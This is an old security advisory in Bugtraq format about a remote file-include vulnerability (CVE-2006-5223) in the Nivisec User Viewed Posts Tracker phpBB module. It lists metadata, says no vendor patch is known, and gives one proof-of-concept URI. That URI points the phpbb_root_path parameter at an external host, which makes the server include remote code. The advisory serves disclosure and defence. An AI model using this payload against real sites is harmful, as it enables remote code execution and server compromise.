Nivisec User Viewed Posts Tracker PHP_Root_Path Parameter Remote File Include Vulnerability

Bugtraq ID:	20385
Class:	Input Validation Error
CVE:	CVE-2006-5223
Remote:	Yes
Local:	No
Published:	Oct 06 2006 12:00AM
Updated:	Jul 06 2007 08:47PM
Credit:	XORON is credited with the discovery of this vulnerability.
Vulnerable:	Nivisec User Viewed Posts Tracker 1.0
Not Vulnerable:

Nivisec User Viewed Posts Tracker PHP_Root_Path Parameter Remote File Include Vulnerability

The Nivisec User Viewed Posts Tracker module is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

This issue affects Nivisec User Viewed Posts Tracker 1.0 and earlier versions.

Nivisec User Viewed Posts Tracker PHP_Root_Path Parameter Remote File Include Vulnerability

An attacker can exploit this issue via a web client.

The following proof-of-concept URI is available:

http://www.example.com/includes/functions_user_viewed_posts.php?phpbb_root_path=http://www.example.com

Nivisec User Viewed Posts Tracker PHP_Root_Path Parameter Remote File Include Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: mailto:[email protected].

Nivisec User Viewed Posts Tracker PHP_Root_Path Parameter Remote File Include Vulnerability

References:

• Nivisec Modules Home Page (Nivisec)